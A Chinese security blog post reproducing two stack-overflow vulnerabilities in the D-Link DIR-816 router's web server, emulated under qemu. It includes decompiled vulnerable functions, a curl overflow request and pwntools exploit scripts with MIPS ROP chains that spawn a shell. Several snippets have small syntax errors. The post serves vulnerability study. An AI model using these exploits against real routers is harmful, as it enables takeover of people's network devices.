D-link DIR-816 路由器命令执行漏洞分析

admin 2024年10月7日22:12:25评论69 views字数 10236阅读34分7秒阅读模式

第一次接触路由器的漏洞,本文主要是漏洞复现,虽然网上没有DIR-816的栈溢出漏洞复现文章,但是有DIR-815的栈溢出复现文章,实际上是大同小异的;路由器不能只是单单是执行system(”/bin/sh“),更多是调用system执行我们写入的命令,进行开启telent服务或者反弹shell,才能进行getshell。但本文主要是以执行system(”/bin/sh“),主打验证与学习漏洞利用的过程

路由器的结构

基本上都是MIPS结构,这个结构有很多特点,例如无法开启NX保护,流水线执行指令等等

环境搭建:

这里是用qemu来模拟实现的,在Ubuntu下安装qemu-mipsel等(qemumips模拟程序

我们先用binwalk来解压该固件:

binwalk -Me DIR-816A2_v1.10CNB03_D77137.img

定位到其中的核心程序/bin/gohead

然后利用qemu来执行:

 sudo qemu-mipsel -L ../squashfs-root/  -g 1234  ./bin/goahead

这里的../squashfs-root是为了直接利用它原有的/lib文件夹的内容

然后-g是设置监听端口为1234

利用gdb-multiarch来调试程序,进入之后需要对应操作:

set arch mips # 设置远程程序的架构
target remote 127.0.0.1:1234 # 远程的地址及端口

绕过点(一)

D-link DIR-816 路由器命令执行漏洞分析

这里打开了

D-link DIR-816 路由器命令执行漏洞分析

/var/run/goahead.pid文件,若没有直接退出程序,所以我们在对应位置设置文件

绕过点(二)

D-link DIR-816 路由器命令执行漏洞分析

这里会检查v16,是否是一个合法地址,这些我们需要利用调试去修改对应寄存器的值然后绕过

这里我们下断点:

D-link DIR-816 路由器命令执行漏洞分析
b *0x045cdbc

然后利用调试设置寄存器$V0

set var $V0=0x0
D-link DIR-816 路由器命令执行漏洞分析

然后我们就可以利用浏览器进行交互

绕过点(三)

但我们想进入路由器web操作页面,就必须先登录,在web服务器程序中用户名为空,而web页面有JS校验,必须需要输入用户名才能进行登录校验,那么可以修改登录校验的寄存器,让其成功运行登录

D-link DIR-816 路由器命令执行漏洞分析

定位到这个函数

D-link DIR-816 路由器命令执行漏洞分析

formLogin

D-link DIR-816 路由器命令执行漏洞分析
D-link DIR-816 路由器命令执行漏洞分析

0x4570fc地址处下断点,修改V0寄存器的值为0。因为此处的V0是用户名的值,然后我们密码不输入,这样子,就可以绕过stcmp的检测,两个值就相同了

D-link DIR-816 路由器命令执行漏洞分析
D-link DIR-816 路由器命令执行漏洞分析

同样利用来修改寄存器:

set var $V0=0x0

程序分析

在主页登陆抓一个包可以看到是POST /goform/formLogin请求,所以我们在研究的时候需要着重研究goform这些用户自定义函数。

POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1

username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915
D-link DIR-816 路由器命令执行漏洞分析
D-link DIR-816 路由器命令执行漏洞分析

我们可以直接通过域名+/goform/函数名进行操作

栈溢出漏洞(一)

addassignment

在这个函数中发现了栈溢出漏洞,并验证成功。

int __fastcall addassignment(int a1)
{
  _BYTE *s_ip; // $s5
  _BYTE *s_mac; // $s1
  unsigned int v4; // $s0
  BOOL s_mac_len_flags; // $v0
  _BYTE *v6; // $v1
  BOOL v7; // $v0
  int v9; // $v0
  char v10[1024]; // [sp+18h] [-400h] BYREF

  memset(v10, 0sizeof(v10));
  s_ip = websGetVar(a1, "s_ip""");
  s_mac = websGetVar(a1, "s_mac""");
  v4 = 0;
  while ( 1 )
  {
    s_mac_len_flags = v4 < strlen(s_mac);       // s_mac长度是否大于0
    v6 = &s_mac[v4++];
    if ( !s_mac_len_flags )
      break;
    while ( *v6 == 45 )
    {
      *v6 = 58;
      v7 = v4 < strlen(s_mac);
      v6 = &s_mac[v4++];
      if ( !v7 )
        goto LABEL_5;
    }
  }
LABEL_5:
  if ( !*s_ip || !*s_mac )
    return websRedirect(a1, "lan.asp");
  v9 = nvram_bufget(0);
  strcpy(v10, v9);
  strcat(v10, s_mac);                           // stack_overflow
  strcat(v10, " ");
  strcat(v10, s_ip);                            // stack_overflow
  strcat(v10, "|");
  nvram_bufset(0"DhcpStaticRulesStr", v10);
  nvram_commit(0);
  doSystem("lan.sh");
  return websRedirect(a1, "lan.asp");
}

可以看到用户可以传送s_macs_ip,并在下面使用strcat进行拼接放入v10,值得一提的是并没有进行大小限制,所以这里存在一个栈溢出漏洞。

curl -i -X POST http://192.168.0.1/goform/editassignment  -d 's_mac=123123&s_ip=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao' -d 's_mac=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao'

注意这个函数对我们post上的参数有检查,网址给的是只有一个参数,我们这个需要把两个都给post上,才能通过这个检查

  if ( !*s_ip || !*s_mac )
D-link DIR-816 路由器命令执行漏洞分析

然后发现返回地址被我们覆盖了

利用len函数计算一下长度

D-link DIR-816 路由器命令执行漏洞分析

先构造exp如下:

from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)

def gdb_attach():
    os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex )
gadget = 0x0433B20
gdb_attach() # 调试
raw_input() # 绕过限制之后回车才执行后面操作
url = "http://172.20.103.206/goform/addassignment"
data_1 = b'
s_mac=123123&s_ip=' + b"A"*1041 + p32(gadget) # 把返回地址覆盖为gadget

requests.post(url=url,data=data_1)

我们调试一下看看是否成功覆盖:

先在这里下个断点:

D-link DIR-816 路由器命令执行漏洞分析

然后我们跳过去

D-link DIR-816 路由器命令执行漏洞分析

发现并没有覆盖成功,这是因为strcat遇到x00会截停,且该函数会在复制完s_ip的字符串后加上一个“|”,加大了利用难度

此时此刻想到利用libc地址,如果该路由器的libc库没有开启pie,我们就可以利用其中的gadget,并且libcgadget是四个字节,没有x00字节

我们检查一下,libc:

D-link DIR-816 路由器命令执行漏洞分析

发现是开启的。

解决思路:

  • 因为payload不能带有x00字符,所以我们只能用libcgadget,qemu的libc地址是固定的,所以我们先调试利用断点 查看一个libc地址,然后计算出来libc的基地址(其他博客也说,实际环境里libc的基地址也是固定的
  • 然后我们利用gadget,控制$a0指针为指向"/bin/sh"字符串的地址,然后使$t9为system函数地址,进行jalr $t9跳转到system上,即可以getshell

计算基地址

这是在调用strcpy函数时,下了断点strcpy的地址为0x7f75f4e

D-link DIR-816 路由器命令执行漏洞分析

在通过pwntools的ELF函数,我们可以得到对应没有加偏移的strcpy地址,然后计算基地址(也可以去IDA里找,如下:)

D-link DIR-816 路由器命令执行漏洞分析

计算得到libc的基地址为:libc_base = 0x7f714000

然后寻找gadget,我们这里寻到了这个

D-link DIR-816 路由器命令执行漏洞分析

这里我们只需要控制$s3$s1就可以进行getshell

在漏洞函数最后,实际上是给$s1-$s5寄存器分别从栈上取值的:

D-link DIR-816 路由器命令执行漏洞分析

我们对应设置即可,调用,将$s3设置为指向"/bin/sh"字符的指针,$s1设置为指向system函数地址

最终exp如下:

from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)

def gdb_attach():
    os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex 'set arch mips' -ex 'target remote 127.0.0.1:1234'')
    
libc_base = 0x7f714000
system = 0x0047D20 + libc_base
sleep_add = 0x0053870 + libc_base
binsh = 0x0059770+libc_base
gadget_1 = 0x00437D0 + libc_base

gadget_5 = 0x001F0B8 + libc_base

gdb_attach()
raw_input()

url = "http://172.20.103.206/goform/addassignment"
data_1 = b's_mac=123123&s_ip=' 
data_1 += b"A"*(0x401-4)+ p32(system) + b"B"*4 + p32(binsh) + b"D"*4 + b"F"*4 + p32(gadget_5)

requests.post(url=url,data=data_1)
# p.interactive()
D-link DIR-816 路由器命令执行漏洞分析

然后我们步进到jalr $t9的位置

D-link DIR-816 路由器命令执行漏洞分析

第一个参数为指向"/bin/sh"的字符串,然后调用$t9system函数,然后成功getshell

D-link DIR-816 路由器命令执行漏洞分析

但是现在但但只能执行一个"/bin/sh",需要执行其他命令,我们需要从栈里写入命令,然后使得$a0指向栈地址

栈溢出漏洞(二)

form2IPQoSTcAdd

D-link DIR-816 路由器命令执行漏洞分析

没有判断字符长度,导致的栈溢出漏洞,为了我们的payload没有过多的额为字符,我们选择控制v5变量,即downrateCeiling参数

覆盖值需要自己调试得出,同上这里就不再重复

解决思路:

  • 不同于上面的栈溢出,这里是最后加了一个";"字符,使得我们可以利用分号来实现命令执行
  • 我们本质上还是控制$a0指针和$t9指针,但是我们可以控制$a0指向栈地址,我们就可以在栈上布置我们想执行的命令,然后调用system

常规方法:

利用类似于addiu $a0, $spgadget,使得$a0指向栈上的内容,然后利用 move $t9, $s1gadget,来实现调用system

找到的gadget如下:

gadget_4 = 0x0037B58 + libc_base

'''
.text:00037B58 20 00 A4 27 addiu $a0, $sp, 0x18+arg_0
.text:00037B5C 10 00 BC 8F lw $gp, 0x18+var_8($sp)
.text:00037B60 18 00 BF 8F lw $ra, 0x18+var_s0($sp)
.text:00037B64 00 00 00 00 nop
.text:00037B68 08 00 E0 03 jr $ra
.text:00037B6C 20 00 BD 27 addiu $sp, 0x20
'''
gadget_2 = 0x00016298 + libc_base
'''
move $t9, $s1
lw $ra, 0x18+var_s8($sp)
lw $s1, 0x18+var_s4($sp)
lw $s0, 0x18+var_s0($sp)
sw $v0, 0xC($v1)
jr $t9
'''

然后我们对应布局rop即可:

from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)

def gdb_attach():
    os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex 'set arch mips' -ex 'target remote 127.0.0.1:1234'')

libc_base = 0x7f714000
system = 0x0047D20 + libc_base
sleep_add = 0x0053870 + libc_base

gadget_2 = 0x00016298 + libc_base
'''
move    $t9, $s1
lw      $ra, 0x18+var_s8($sp)
lw      $s1, 0x18+var_s4($sp)
lw      $s0, 0x18+var_s0($sp)
sw      $v0, 0xC($v1)
jr      $t9
'''

gadget_4 = 0x0037B58 + libc_base

'''
.text:00037B58 20 00 A4 27       addiu   $a0, $sp, 0x18+arg_0
.text:00037B5C 10 00 BC 8F       lw      $gp, 0x18+var_8($sp)
.text:00037B60 18 00 BF 8F       lw      $ra, 0x18+var_s0($sp)
.text:00037B64 00 00 00 00       nop
.text:00037B68 08 00 E0 03       jr      $ra
.text:00037B6C 20 00 BD 27       addiu   $sp, 0x20
'''

gdb_attach()
raw_input()

cmd = b"/bin/sh"
url = "http://172.20.103.206/goform/form2IPQoSTcAdd"
data_1 = b"downrateCeiling=" + b"A"*(0x812) + p32(system) + b"A"*0x1c + p32(gadget_4) + b"A"*0x18 + p32(gadget_2) + b"A"*4 + b"/bin/sh;" + cmd
requests.post(url=url,data=data_1)
D-link DIR-816 路由器命令执行漏洞分析

我们这里将$s1system函数地址,然后跳转到我们gadget_4,目的是将$a0改为指向栈内容的地址

D-link DIR-816 路由器命令执行漏洞分析

现在将$a0修改成功,然后我们是move $t9,$s1,jalr $t9,来实现调用system

D-link DIR-816 路由器命令执行漏洞分析

然后调用,getshell

D-link DIR-816 路由器命令执行漏洞分析

这里实际上还是有个问题,就是我们第一个”/bin/sh“的字符会乱码,所以才需要再加个”;“后面再来个"/bin/sh"
D-link DIR-816 路由器命令执行漏洞分析

成功getshell

D-link DIR-816 路由器命令执行漏洞分析

最后

没有利用shellcode进行getshell的原因是,不知道为啥编写出的shellcode发送不过去,估计是有些特殊字符不能发送,反正就是奇奇怪怪,这个是我非常头疼的点,有机会一定要利用shellcode来漏洞利用(这不比东拼西凑的gadget强多啦)

原文始发于微信公众号(ACT Team):D-link DIR-816 路由器命令执行漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日22:12:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D-link DIR-816 路由器命令执行漏洞分析https://cn-sec.com/archives/1939028.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息